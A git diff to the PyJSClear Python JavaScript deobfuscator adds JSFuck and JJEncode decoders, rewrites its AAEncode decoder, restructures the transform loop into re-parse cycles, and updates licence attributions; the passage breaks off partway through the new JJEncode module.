diff --git a/NOTICE b/NOTICE
index afba401..aaeee68 100644
--- a/NOTICE
+++ b/NOTICE
@@ -13,7 +13,16 @@ This product is a derivative work based on the following projects:
Licensed under the Apache License, Version 2.0
https://github.com/ben-sb/javascript-deobfuscator
+3. webcrack (v2.14.1)
+ Copyright (c) 2023 j4k0xb
+ Licensed under the MIT License
+ https://github.com/j4k0xb/webcrack
+
This Python library re-implements the deobfuscation algorithms and transform
-logic from the above Node.js/Babel-based tools in pure Python. No source code
-was directly copied; the implementations were written from scratch following
-the same algorithmic approaches.
+logic from the above projects in pure Python. No source code was directly
+copied; the implementations were written from scratch following the same
+algorithmic approaches.
+
+Test dataset: obfuscated JavaScript samples from the JSIMPLIFIER dataset
+(https://zenodo.org/records/17531662) are included in tests/resources/ for
+evaluation purposes only. They are not part of the distributed package.
diff --git a/README.md b/README.md
index f1ee600..99604d8 100644
--- a/README.md
+++ b/README.md
@@ -56,11 +56,12 @@ pyjsclear input.js --max-iterations 20
## What it does
-PyJSClear applies ~40 transforms in a multi-pass loop until the code
-stabilises (default limit: 50 iterations). A final one-shot pass renames
+PyJSClear applies transforms in a multi-pass loop until the code
+stabilizes (default limit: 50 iterations). A final one-shot pass renames
variables and converts var/let to const.
**Capabilities:**
+- Whole-file encoding detection: JSFuck, JJEncode, AAEncode, eval-packing
- String array decoding (obfuscator.io basic/base64/RC4, XOR, class-based)
- Constant propagation & reassignment elimination
- Dead code / dead branch / unreachable code removal
@@ -73,20 +74,11 @@ variables and converts var/let to const.
Large files (>500 KB / >50 K AST nodes) automatically use a lite mode
that skips expensive transforms.
-## Testing
-
-```bash
-pytest tests/ # all tests
-pytest tests/test_regression.py # regression suite (62 tests across 25 samples)
-pytest tests/ -n auto # parallel execution (requires pytest-xdist)
-```
-
## Limitations
-- **Optimised for obfuscator.io output.** Other obfuscation tools may only partially deobfuscate.
+- **Best results on obfuscator.io output.** JSFuck, JJEncode, AAEncode, and eval-packed code are fully decoded; other obfuscation tools may only partially deobfuscate.
- **Large files get reduced treatment.** Files >500 KB or ASTs >50 K nodes skip expensive transforms; files >2 MB use a minimal lite mode.
-- **No minification reversal.** Minified-but-not-obfuscated code won't be reformatted or beautified.
-- **Recursive AST traversal** may hit Python's default recursion limit (~1 000 frames) on extremely deep nesting.
+- **Recursive AST traversal** may hit Python's default recursion limit (~1 000 frames) on extremely deep nesting; the deobfuscator catches this and returns the best partial result.
## License
@@ -94,7 +86,13 @@ Apache License 2.0 — see [LICENSE](LICENSE).
This project is a derivative work based on
[obfuscator-io-deobfuscator](https://github.com/ben-sb/obfuscator-io-deobfuscator)
-(Apache 2.0) and
+(Apache 2.0),
[javascript-deobfuscator](https://github.com/ben-sb/javascript-deobfuscator)
-(Apache 2.0). See [THIRD_PARTY_LICENSES.md](THIRD_PARTY_LICENSES.md) and
+(Apache 2.0), and
+[webcrack](https://github.com/j4k0xb/webcrack) (MIT).
+See [THIRD_PARTY_LICENSES.md](THIRD_PARTY_LICENSES.md) and
[NOTICE](NOTICE) for full attribution.
+
+Test samples include obfuscated JavaScript from the
+[JSIMPLIFIER dataset](https://zenodo.org/records/17531662) (GPL-3.0),
+used solely for evaluation purposes.
diff --git a/THIRD_PARTY_LICENSES.md b/THIRD_PARTY_LICENSES.md
index a4ad293..36a6b38 100644
--- a/THIRD_PARTY_LICENSES.md
+++ b/THIRD_PARTY_LICENSES.md
@@ -237,3 +237,30 @@ https://github.com/ben-sb/javascript-deobfuscator/blob/master/LICENSE).
**Features derived from this project:** hex escape decoding (`--he`),
static array unpacking (`--su`), property access transformation (`--tp`).
+---
+
+## webcrack
+
+- **Version:** 2.14.1
+- **Author:** j4k0xb
+- **Repository:** https://github.com/j4k0xb/webcrack
+- **License:** MIT
+
+See [licenses/LICENSE-webcrack](licenses/LICENSE-webcrack) for the full license text.
+
+**Features derived from this project:** general deobfuscation transform
+patterns and architecture reference.
+
+---
+
+## Test dataset
+
+- **JSIMPLIFIER dataset**
+- **Author:** Dongchao Zhou
+- **Source:** https://zenodo.org/records/17531662
+- **License:** GPL-3.0
+
+Obfuscated JavaScript samples from this dataset are included in
+`tests/resources/` for evaluation purposes only. They are not part of the
+distributed package and no code from JSIMPLIFIER is incorporated into
+PyJSClear.
diff --git a/licenses/LICENSE-webcrack b/licenses/LICENSE-webcrack
new file mode 100644
index 0000000..1a6e5d9
--- /dev/null
+++ b/licenses/LICENSE-webcrack
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2023 j4k0xb
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/pyjsclear/__init__.py b/pyjsclear/__init__.py
index 4062258..39945b4 100644
--- a/pyjsclear/__init__.py
+++ b/pyjsclear/__init__.py
@@ -8,7 +8,7 @@
from .deobfuscator import Deobfuscator
-__version__ = '0.1.2'
+__version__ = '0.1.3'
def deobfuscate(code, max_iterations=50):
diff --git a/pyjsclear/deobfuscator.py b/pyjsclear/deobfuscator.py
index dbd9160..8636cad 100644
--- a/pyjsclear/deobfuscator.py
+++ b/pyjsclear/deobfuscator.py
@@ -2,8 +2,6 @@
from .generator import generate
from .parser import parse
-from .transforms.aa_decode import aa_decode
-from .transforms.aa_decode import is_aa_encoded
from .transforms.anti_tamper import AntiTamperRemover
from .transforms.class_static_resolver import ClassStaticResolver
from .transforms.class_string_decoder import ClassStringDecoder
@@ -28,6 +26,12 @@
from .transforms.hex_escapes import HexEscapes
from .transforms.hex_escapes import decode_hex_escapes_source
from .transforms.hex_numerics import HexNumerics
+from .transforms.aa_decode import aa_decode
+from .transforms.aa_decode import is_aa_encoded
+from .transforms.jj_decode import is_jj_encoded
+from .transforms.jj_decode import jj_decode
+from .transforms.jsfuck_decode import is_jsfuck
+from .transforms.jsfuck_decode import jsfuck_decode
from .transforms.logical_to_if import LogicalToIf
from .transforms.member_chain_resolver import MemberChainResolver
from .transforms.noop_calls import NoopCallRemover
@@ -127,12 +131,24 @@ def _run_pre_passes(self, code):
Returns decoded code if an encoding/packing was detected and decoded,
or None to continue with the normal AST pipeline.
"""
+ # JSFuck check (must be first — these are whole-file encodings)
+ if is_jsfuck(code):
+ decoded = jsfuck_decode(code)
+ if decoded:
+ return decoded
+
# AAEncode check
if is_aa_encoded(code):
decoded = aa_decode(code)
if decoded:
return decoded
+ # JJEncode check
+ if is_jj_encoded(code):
+ decoded = jj_decode(code)
+ if decoded:
+ return decoded
+
# Eval packer check
if is_eval_packed(code):
decoded = eval_unpack(code)
@@ -141,6 +157,9 @@ def _run_pre_passes(self, code):
return None
+ # Maximum number of outer re-parse cycles (generate → re-parse → re-transform)
+ _MAX_OUTER_CYCLES = 5
+
def execute(self):
"""Run all transforms and return cleaned source."""
code = self.original_code
@@ -162,25 +181,79 @@ def execute(self):
return decoded
return self.original_code
- # Determine optimization mode based on code size
- code_size = len(code)
+ # Outer loop: run AST transforms until generate→re-parse converges.
+ # Post-passes (VariableRenamer, VarToConst, LetToConst) only run on
+ # the final cycle to avoid interfering with subsequent transform rounds.
+ previous_code = code
+ last_changed_ast = None
+ try:
+ for _cycle in range(self._MAX_OUTER_CYCLES):
+ changed = self._run_ast_transforms(
+ ast,
+ code_size=len(previous_code),
+ )
+
+ if not changed:
+ break
+
+ last_changed_ast = ast
+
+ try:
+ generated = generate(ast)
+ except Exception:
+ break
+
+ if generated == previous_code:
+ break
+
+ previous_code = generated
+
+ # Re-parse for the next cycle
+ try:
+ ast = parse(generated)
+ except SyntaxError:
+ break
+
+ # Run post-passes on the final AST (always — they're cheap and handle
+ # cosmetic transforms like var→const even when no main transforms fired)
+ any_post_changed = False
+ for post_transform in [VariableRenamer, VarToConst, LetToConst]:
+ try:
+ if post_transform(ast).execute():
+ any_post_changed = True
+ except Exception:
+ pass
+
+ if last_changed_ast is None and not any_post_changed:
+ return self.original_code
+
+ try:
+ return generate(ast)
+ except Exception:
+ return previous_code
+ except RecursionError:
+ # Safety net: esprima's parser is purely recursive with no depth
+ # limit, so deeply nested JS hits Python's recursion limit during
+ # parsing or re-parsing. Our AST walkers are cheaper per level
+ # but also recursive. Return best result so far.
+ return previous_code
+
+ def _run_ast_transforms(self, ast, code_size=0):
+ """Run all AST transform passes. Returns True if any transform changed the AST."""
+ node_count = _count_nodes(ast) if code_size > _LARGE_FILE_SIZE else 0
+
lite_mode = code_size > _MAX_CODE_SIZE
max_iterations = self.max_iterations
if code_size > _LARGE_FILE_SIZE:
max_iterations = min(max_iterations, _LITE_MAX_ITERATIONS)
- # Check node count for expensive transform gating
- node_count = _count_nodes(ast) if code_size > _LARGE_FILE_SIZE else 0
-
# For very large ASTs, further reduce iterations
if node_count > 100_000:
max_iterations = min(max_iterations, 3)
# Build transform list based on mode
transform_classes = TRANSFORM_CLASSES
- if lite_mode:
- transform_classes = [t for t in TRANSFORM_CLASSES if t not in _EXPENSIVE_TRANSFORMS]
- elif node_count > _NODE_COUNT_LIMIT:
+ if lite_mode or node_count > _NODE_COUNT_LIMIT:
transform_classes = [t for t in TRANSFORM_CLASSES if t not in _EXPENSIVE_TRANSFORMS]
# Track which transforms are no longer productive
@@ -210,18 +283,4 @@ def execute(self):
if not modified:
break
- # Post-passes: cosmetic transforms that run once after convergence
- for post_transform in [VariableRenamer, VarToConst, LetToConst]:
- try:
- if post_transform(ast).execute():
- any_transform_changed = True
- except Exception:
- pass
-
- if not any_transform_changed:
- return self.original_code
-
- try:
- return generate(ast)
- except Exception:
- return self.original_code
+ return any_transform_changed
diff --git a/pyjsclear/transforms/aa_decode.py b/pyjsclear/transforms/aa_decode.py
index 49e6020..6f8d042 100644
--- a/pyjsclear/transforms/aa_decode.py
+++ b/pyjsclear/transforms/aa_decode.py
@@ -1,83 +1,150 @@
-"""AAEncode decoder.
+"""Pure Python AAEncode decoder.
-AAEncode encodes JavaScript using Japanese-style emoticons.
-This decoder reverses the encoding by replacing emoticon patterns
-with their numeric values, then converting octal/hex to characters.
+AAEncode (by Yosuke Hasegawa) encodes JavaScript into Japanese-style
+emoticon characters using fullwidth/halfwidth katakana and special symbols.
+Each source character is represented as an octal or hex escape built from
+emoticon digit expressions, separated by a backslash-like marker.
+
+This decoder performs iterative string replacements to recover the digit
+sequences, then converts octal/hex values back to characters.
"""
import re
+# Characteristic pattern present in all AAEncoded output — the execution call.
+_SIGNATURE = '\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]'
-# The 16 AAEncode symbol table entries (indices 0-15)
-_AA_SYMBOLS = [
- '(c^_^o)',
- '(\uff9f\u0398\uff9f)',
- '((o^_^o) - (\uff9f\u0398\uff9f))',
- '(o^_^o)',
- '(\uff9f\uff70\uff9f)',
- '((\uff9f\uff70\uff9f) + (\uff9f\u0398\uff9f))',
- '((o^_^o) +(o^_^o))',
- '((\uff9f\uff70\uff9f) + (o^_^o))',
- '((\uff9f\uff70\uff9f) + (\uff9f\uff70\uff9f))',
- '((\uff9f\uff70\uff9f) + (\uff9f\uff70\uff9f) + (\uff9f\u0398\uff9f))',
- '(\uff9f\u0414\uff9f) .\uff9f\u03c9\uff9f\uff89',
- '(\uff9f\u0414\uff9f) .\uff9f\u0398\uff9f\uff89',
- "(\uff9f\u0414\uff9f) ['c']",
- '(\uff9f\u0414\uff9f) .\uff9f\uff70\uff9f\uff89',
- '(\uff9f\u0414\uff9f) .\uff9f\u0414\uff9f\uff89',
- '(\uff9f\u0414\uff9f) [\uff9f\u0398\uff9f]',
-]
+# Separator between encoded characters (represents the escape character "\").
+_SEPARATOR = '(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+'
+
+# Unicode hex marker — when present before a segment, the value is hex (\uXXXX).
+# Note: real AAEncode uses U+FF70 (halfwidth katakana-hiragana prolonged sound mark ー),
+# NOT U+30FC (fullwidth ー).
+_UNICODE_MARKER = '(o\uff9f\uff70\uff9fo)'
-# Detection pattern: AAEncoded code contains these characteristic markers
-_AA_DETECT_RE = re.compile(r'\(\uff9f\u0414\uff9f\)\s*\[\uff9f\u03b5\uff9f\]') # (゚Д゚)[゚ε゚]
+# Sentinel used to track unicode marker positions after replacement.
+_HEX_SENTINEL = '\x01'
-# Unicode marker for hex characters (code points > 127)
-_UNICODE_MARKER = '(o\uff9f\uff70\uff9fo)+ '
+# Replacement rules: longer/more specific patterns first to avoid partial matches.
+# All patterns use U+FF70 (ー) to match real AAEncode output.
+_REPLACEMENTS = [
+ ('(o\uff9f\uff70\uff9fo)', _HEX_SENTINEL),
+ ('((\uff9f\uff70\uff9f) + (\uff9f\uff70\uff9f) + (\uff9f\u0398\uff9f))', '5'),
+ ('((\uff9f\uff70\uff9f) + (\uff9f\uff70\uff9f))', '4'),
+ ('((\uff9f\uff70\uff9f) + (o^_^o))', '3'),
+ ('((\uff9f\uff70\uff9f) + (\uff9f\u0398\uff9f))', '2'),
+ ('((o^_^o) - (\uff9f\u0398\uff9f))', '2'),
+ ('((o^_^o) + (o^_^o))', '6'),
+ ('(\uff9f\uff70\uff9f)', '1'),
+ ('(\uff9f\u0398\uff9f)', '1'),
+ ('(c^_^o)', '0'),
+ ('(o^_^o)', '3'),
+]
def is_aa_encoded(code):
- """Check if code is AAEncoded."""
- return bool(_AA_DETECT_RE.search(code))
+ """Check if *code* looks like AAEncoded JavaScript.
+
+ Returns True when the characteristic execution pattern is found.
+ """
+ if not isinstance(code, str):
+ return False
+ return _SIGNATURE in code
def aa_decode(code):
- """Decode AAEncoded JavaScript. Returns decoded string or None on failure."""
- if not is_aa_encoded(code):
+ """Decode AAEncoded JavaScript.
+
+ Returns the decoded source string, or ``None`` on any failure.
+ All processing is iterative (no recursion).
+ """
+ if not isinstance(code, str) or not is_aa_encoded(code):
return None
try:
- text = code
- # Replace each symbol with its numeric value
- for i, symbol in enumerate(_AA_SYMBOLS):
- search = symbol + '+ '
- replacement = str(i) if i <= 7 else format(i, 'x')
- text = text.replace(search, replacement)
-
- # Remove the trailing execution wrapper
- text = text.replace("(\uff9f\u0414\uff9f)[\uff9fo\uff9f]) (\uff9f\u0398\uff9f)) ('_');", '')
- text = text.replace(
- "(\uff9f\u0414\uff9f)[\uff9fo\uff9f])(\uff9f\u0398\uff9f))((\uff9f\u0398\uff9f)+(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+((\uff9f\uff70\uff9f)+(\uff9f\u0398\uff9f))+(\uff9f\u0398\uff9f)+(\uff9f\u0414\uff9f)[\uff9fo\uff9f]);",
- '',
- )
-
- # Split on the escape marker
- parts = text.split('(\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f]+')
-
- result = ''
- for part in parts[1:]: # Skip the preamble
- part = part.strip()
- if not part:
+ return _decode_impl(code)
+ except Exception:
+ return None
+
+
+# ---------------------------------------------------------------------------
+# Internal helpers
+# ---------------------------------------------------------------------------
+
+
+def _decode_impl(code):
+ """Core decoding logic."""
+ # 1. Isolate the data section.
+ # AAEncode wraps data inside an execution pattern. The encoded payload
+ # is the series of segments joined by the separator, ending with a
+ # final execution call like (゚Д゚)['_'] or )('_');
+ # We look for the *first* separator occurrence and take everything from
+ # there up to the trailing execution wrapper.
+
+ # Find the data region: everything after the initial variable setup and
+ # before the trailing execution portion.
+ # The data starts at the first separator token.
+ sep_idx = code.find(_SEPARATOR)
+ if sep_idx == -1:
+ return None
+
+ # The trailing execution wrapper varies but typically looks like:
+ # (゚Д゚)['_'](゚Θ゚) or )('_');
+ # We strip from the last occurrence of (゚Д゚)['_'] onward.
+ tail_patterns = [
+ "(\uff9f\u0414\uff9f)['_']",
+ '(\uff9f\u0414\uff9f)["_"]',
+ ]
+ data = code[sep_idx:]
+ for pat in tail_patterns:
+ tail_pos = data.rfind(pat)
+ if tail_pos != -1:
+ data = data[:tail_pos]
+ break
+
+ # 2. Apply emoticon-to-digit replacements.
+ for old, new in _REPLACEMENTS:
+ data = data.replace(old, new)
+
+ # 3. Split on the separator to get individual character segments.
+ segments = data.split(_SEPARATOR)
+
+ # The first element is the leading separator itself (empty or noise) — skip it.
+ # Actually, since we started data *at* the first separator, the split
+ # produces an empty first element. Handle gracefully.
+
+ result_chars = []
+ for segment in segments:
+ segment = segment.strip()
+ if not segment:
+ continue
+
+ # Determine hex vs octal mode.
+ is_hex = _HEX_SENTINEL in segment
+
+ # Remove hex sentinel and any remaining operator/whitespace noise.
+ cleaned = segment.replace(_HEX_SENTINEL, '')
+ cleaned = cleaned.replace('+', '').replace(' ', '').strip()
+
+ if not cleaned:
+ continue
+
+ # cleaned should now be a string of digit characters.
+ if not cleaned.isdigit() and not (is_hex and all(c in '0123456789abcdefABCDEF' for c in cleaned)):
+ # If we still have non-digit residue, try harder: keep only digits.
+ cleaned = re.sub(r'[^0-9a-fA-F]', '', cleaned)
+ if not cleaned:
continue
- if part.startswith(_UNICODE_MARKER):
- # Unicode character: parse as hex
- hex_str = part[len(_UNICODE_MARKER) :].strip().rstrip('+').strip()
- result += chr(int(hex_str, 16))
+
+ try:
+ if is_hex:
+ result_chars.append(chr(int(cleaned, 16)))
else:
- # ASCII character: parse as octal
- octal_str = part.strip().rstrip('+').strip()
- if octal_str:
- result += chr(int(octal_str, 8))
+ result_chars.append(chr(int(cleaned, 8)))
+ except (ValueError, OverflowError):
+ continue
- return result if result else None
- except (ValueError, IndexError):
+ if not result_chars:
return None
+
+ return ''.join(result_chars)
diff --git a/pyjsclear/transforms/jj_decode.py b/pyjsclear/transforms/jj_decode.py
new file mode 100644
index 0000000..99b3924
--- /dev/null
+++ b/pyjsclear/transforms/jj_decode.py
@@ -0,0 +1,718 @@
+"""Pure Python JJEncode decoder.
+
+JJEncode (by Yosuke Hasegawa) encodes JavaScript using only
+$, _, +, !, (, ), [, ], {, }, ~, :, ;, comma, dot, quotes,
+backslash, and = characters with a single global variable.
+
+This decoder extracts the payload string without executing any code.
+All logic is iterative (no recursion).
+
+SPDX-License-Identifier: Apache-2.0
+"""
+
+import re
+
+
+# ---------------------------------------------------------------------------
+# Detection
+# ---------------------------------------------------------------------------
+
+
+def is_jj_encoded(code):
+ """Return True if *code* looks like JJEncoded JavaScript.
+
+ Checks for the ``VARNAME=~[]`` initialisation pattern that begins every
+ JJEncode output.
+ """
+ if not code or not code.strip():
+ return False
+ stripped = code.strip()
+ return bool(re.match(r'^[a-zA-Z_$][a-zA-Z0-9_$]*\s*=\s*~\s*\[\s*\]', stripped))
+
+
+# ---------------------------------------------------------------------------
+# Helpers
+# ---------------------------------------------------------------------------
+
+
+_OBJECT_STR = '[object Object]'
+
+
+def _split_at_depth_zero(text, delimiter):
+ """Split *text* on *delimiter* only when bracket/paren depth is 0
+ and not inside a string literal. All logic is iterative."""
+ parts = []
+ current = []
+ depth = 0
+ i = 0
+ in_string = None
+ while i < len(text):
+ ch = text[i]
+
+ if in_string is not None:
+ current.append(ch)
+ if ch == '\\' and i + 1 < len(text):
+ i += 1
+ current.append(text[i])
+ elif ch == in_string:
+ in_string = None
+ i += 1
+ continue
+
+ if ch in ('"', "'"):
+ in_string = ch
+ current.append(ch)
+ i += 1
+ continue
+
+ if ch in ('(', '[', '{'):
+ depth += 1
+ current.append(ch)
+ i += 1
+ continue
+
+ if ch in (')', ']', '}'):
+ depth -= 1
+ current.append(ch)
+ i += 1
+ continue
+
+ if depth == 0 and text[i:i + len(delimiter)] == delimiter:
+ parts.append(''.join(current))
+ current = []
+ i += len(delimiter)
+ continue
+
+ current.append(ch)
+ i += 1
+
+ parts.append(''.join(current))
+ return parts
+
+
+def _find_matching_close(text, start, open_ch, close_ch):
+ """Return index of *close_ch* matching *open_ch* at *start*.
+ Iterative, respects strings."""
+ depth = 0
+ in_string = None
+ i = start
+ while i < len(text):
+ ch = text[i]
+ if in_string is not None:
+ if ch == '\\' and i + 1 < len(text):
+ i += 2
+ continue
+ if ch == in_string:
+ in_string = None
+ i += 1
+ continue
+ if ch in ('"', "'"):
+ in_string = ch
+ elif ch == open_ch:
+ depth += 1
+ elif ch == close_ch:
+ depth -= 1
+ if depth == 0:
+ return i
+ i += 1
+ return -1
+
+
+# ---------------------------------------------------------------------------
+# Symbol table parser
+# ---------------------------------------------------------------------------
+
+
+def _parse_symbol_table(stmt, varname):
+ """Parse the ``$={___:++$, ...}`` statement and return a dict
+ mapping property names to their resolved values (ints or chars)."""
+ prefix = varname + '='
+ body = stmt.strip()
+ if body.startswith(prefix):
+ body = body[len(prefix):]
+
+ body = body.strip()
+ if body.startswith('{') and body.endswith('}'):
+ body = body[1:-1]
+ else:
+ return None
+
+ table = {}
+ counter = -1 # ~[] = -1
+
+ entries = _split_at_depth_zero(body, ',')
+ for entry in entries:
+ entry = entry.strip()
+ if not entry:
+ continue
+ colon_idx = entry.find(':')
+ if colon_idx == -1:
+ continue
+ key = entry[:colon_idx].strip()
+ value_expr = entry[colon_idx + 1:].strip()
+
+ if value_expr.startswith('++'):
+ counter += 1
+ table[key] = counter
+ elif value_expr.startswith('(') or value_expr.startswith('!'):
+ # Coercion+index: e.g. (![]+"")[$] or ($[$]+"")[$]
+ # Find the outermost [...] at the end
+ if not value_expr.endswith(']'):
+ continue
+ bracket_end = len(value_expr) - 1
+ # Walk backwards to find matching [
+ depth = 0
+ bracket_start = -1
+ j = bracket_end
+ while j >= 0:
+ if value_expr[j] == ']':
+ depth += 1
+ elif value_expr[j] == '[':
+ depth -= 1
+ if depth == 0:
+ bracket_start = j
+ break
+ j -= 1
+ if bracket_start <= 0:
+ continue
+
+ coercion_part = value_expr[:bracket_start].strip()
+ # The index is the current counter value
+ idx = counter
+
+ coercion_str = _eval_coercion(coercion_part, varname)
+ if coercion_str is not None and 0 <= idx < len(coercion_str):
+ table[key] = coercion_str[idx]
+ else:
+ try:
+ table[key] = int(value_expr)
+ except ValueError:
+ pass
+
+ return table
+
+
+def _eval_coercion(expr, varname):
+ """Evaluate a coercion expression to a string.
+
+ Handles: (![]+"") -> "false", (!""+"") -> "true",
+ ({}+"") -> "[object Object]", ($[$]+"") -> "undefined",
+ ((!$)+"") -> "false".
+ """
+ expr = expr.strip()
+ if expr.startswith('(') and expr.endswith(')'):
+ expr = expr[1:-1].strip()
+ # Strip +"" suffix
+ for suffix in ('+""', "+''"):
+ if expr.endswith(suffix):
+ expr = expr[:len(expr) - len(suffix)].strip()
+ break
+ else:
+ return None
+
+ if expr == '![]':
+ return 'false'
+ if expr == '!""' or expr == "!''":
+ return 'true'
+ if expr == '{}':
+ return _OBJECT_STR
+ # VARNAME[VARNAME] -> undefined
+ if expr == varname + '[' + varname + ']':
+ return 'undefined'
+ # (!VARNAME) where VARNAME is object -> false
+ if expr == '!' + varname or expr == '(!' + varname + ')':
+ return 'false'
+ # General X[X] pattern
+ if re.match(r'^([a-zA-Z_$][a-zA-Z0-9_$]*)\[\1\]$', expr):
+ return 'undefined'
+ # VARNAME.KEY where KEY is not in table -> undefined
+ if re.match(r'^' + re.escape(varname) + r'\.[a-zA-Z_$][a-zA-Z0-9_$]*$', expr):
+ return 'undefined'
+ return None
+
+
+# ---------------------------------------------------------------------------
+# Expression evaluator for statements 2/3 and payload
+# ---------------------------------------------------------------------------
+
+
+_MAX_EVAL_DEPTH = 100
+
+
+def _eval_expr(expr, table, varname, _depth=0):
+ """Evaluate a JJEncode expression to a string value.
+
+ Handles symbol-table references, string literals, coercion
+ expressions with indexing, sub-assignments, and concatenation.
+ Returns the resolved string or None.
+ """
+ if _depth > _MAX_EVAL_DEPTH:
+ return None
+
+ expr = expr.strip()
+ if not expr:
+ return None
+
+ prefix = varname + '.'
+
+ # String literal — decode JS escape sequences
+ if len(expr) >= 2:
+ if (expr[0] == '"' and expr[-1] == '"') or \
+ (expr[0] == "'" and expr[-1] == "'"):
+ return _decode_js_string_literal(expr[1:-1])
+
+ # Bare varname — at this point it's the symbol table object
+ if expr == varname:
+ return _OBJECT_STR
+
+ # Parenthesised expression possibly followed by [index]
+ # Strip nested parens iteratively before delegating to _eval_inner
+ if expr.startswith('('):
+ close = _find_matching_close(expr, 0, '(', ')')
+ if close != -1:
+ inner = expr[1:close].strip()
+ rest = expr[close + 1:].strip()
+
+ # Iteratively unwrap pure parenthesised expressions: (((...expr...)))
+ while inner.startswith('(') and not rest:
+ inner_close = _find_matching_close(inner, 0, '(', ')')
+ if inner_close == len(inner) - 1:
+ inner = inner[1:inner_close].strip()
+ else:
+ break
+
+ val = _eval_inner(inner, table, varname, _depth + 1)
+ if not rest:
+ return val
+ # Check for [index] after the paren
+ if rest.startswith('[') and rest.endswith(']'):
+ if val is None:
+ return None
+ idx_expr = rest[1:-1].strip()
+ idx = _resolve_int(idx_expr, table, varname)
+ if isinstance(val, str) and idx is not None and 0 <= idx < len(val):
+ return val[idx]
+ return None
+ return None
+
+ # Symbol table reference: VARNAME.KEY
+ if expr.startswith(prefix) and '+' not in expr and '[' not in expr and '=' not in expr:
+ key = expr[len(prefix):]
+ val = table.get(key)
+ if val is not None:
+ return str(val) if isinstance(val, int) else val
+ return None
+
+ # VARNAME.KEY[VARNAME.KEY2] — string indexing into a table value
+ if expr.startswith(prefix) and '[' in expr and '=' not in expr:
+ bracket_pos = expr.index('[')
+ key = expr[len(prefix):bracket_pos]
+ str_val = table.get(key)
+ if isinstance(str_val, str) and expr.endswith(']'):
+ idx_expr = expr[bracket_pos + 1:-1]
+ idx = _resolve_int(idx_expr, table, varname)
+ if idx is not None and 0 <= idx < len(str_val):
+ return str_val[idx]
+ return None
+
+ # Coercion with index: (![]+"")[$._$_]
+ if expr.endswith(']'):
+ val = _eval_coercion_indexed(expr, table, varname)
+ if val is not None:
+ return val
+
+ # Concatenation: expr + expr + ...
+ if '+' in expr:
+ tokens = _split_at_depth_zero(expr, '+')
+ if len(tokens) > 1:
+ parts = []
+ for t in tokens:
+ v = _eval_expr(t, table, varname, _depth + 1)
+ if v is None:
+ return None
+ parts.append(v)
+ return ''.join(parts)
+
+ return None
+
+
+def _eval_inner(inner, table, varname, _depth=0):
+ """Evaluate the inside of a parenthesised expression.
+ Handles sub-assignments and simple expressions."""
+ if _depth > _MAX_EVAL_DEPTH:
+ return None
+
+ prefix = varname + '.'
+
+ # Sub-assignment: VARNAME.KEY=EXPR
+ if inner.startswith(prefix):
+ eq_pos = _find_top_level_eq(inner)
+ if eq_pos is not None:
+ key = inner[len(prefix):eq_pos]
+ rhs = inner[eq_pos + 1:]
+ val = _eval_expr(rhs, table, varname, _depth + 1)
+ if val is not None:
+ table[key] = val
+ return val
+
+ # Coercion expression like !$+"" or ![]+"", etc.
+ coercion_str = _eval_coercion(inner, varname)
+ if coercion_str is not None:
+ return coercion_str
+
+ # Just a nested expression
+ return _eval_expr(inner, table, varname, _depth + 1)
+
+
+def _find_top_level_eq(expr):
+ """Find the position of the first ``=`` at depth 0 that is not ``==``."""
+ depth = 0
+ in_string = None
+ i = 0
+ while i < len(expr):
+ ch = expr[i]
+ if in_string is not None:
+ if ch == '\\' and i + 1 < len(expr):
+ i += 2
+ continue
+ if ch == in_string:
+ in_string = None
+ i += 1
+ continue
+ if ch in ('"', "'"):
+ in_string = ch
+ elif ch in ('(', '[', '{'):
+ depth += 1
+ elif ch in (')', ']', '}'):
+ depth -= 1
+ elif ch == '=' and depth == 0:
+ # Check not ==
+ if i + 1 < len(expr) and expr[i + 1] == '=':
+ i += 2
+ continue
+ return i
+ i += 1
+ return None
+
+
+def _eval_coercion_indexed(expr, table, varname):
+ """Handle ``(![]+"")[$._$_]`` — coercion string indexed by a
+ symbol table reference."""
+ if not expr.endswith(']'):
+ return None
+
+ bracket_end = len(expr) - 1
+ depth = 0
+ bracket_start = -1
+ j = bracket_end
+ while j >= 0:
+ if expr[j] == ']':
+ depth += 1
+ elif expr[j] == '[':
+ depth -= 1
+ if depth == 0:
+ bracket_start = j
+ break
+ j -= 1
+
+ if bracket_start <= 0:
+ return None
+
+ coercion_part = expr[:bracket_start].strip()
+ index_expr = expr[bracket_start + 1:bracket_end].strip()
+
+ coercion_str = _eval_coercion(coercion_part, varname)
+ if coercion_str is None:
+ return None
+
+ idx = _resolve_int(index_expr, table, varname)
+ if idx is None:
+ return None
+
+ if 0 <= idx < len(coercion_str):
+ return coercion_str[idx]
+ return ''
+
+
+def _resolve_int(expr, table, varname):
+ """Resolve an expression to an integer."""
+ expr = expr.strip()
+ prefix = varname + '.'
+ if expr.startswith(prefix):
+ key = expr[len(prefix):]
+ val = table.get(key)
+ if isinstance(val, int):
+ return val
+ return None
+ try:
+ return int(expr)
+ except ValueError:
+ return None
+
+
+# ---------------------------------------------------------------------------
+# Augment-statement parser (statements 2 and 3)
+# ---------------------------------------------------------------------------
+
+
+def _parse_augment_statement(stmt, table, varname):
+ """Parse statements that build multi-character strings like
+ "constructor" and "return" by concatenation, and store
+ intermediate single-char sub-assignments into the table."""
+ stmt = stmt.strip()
+ prefix = varname + '.'
+
+ # Find top-level = to split LHS and RHS
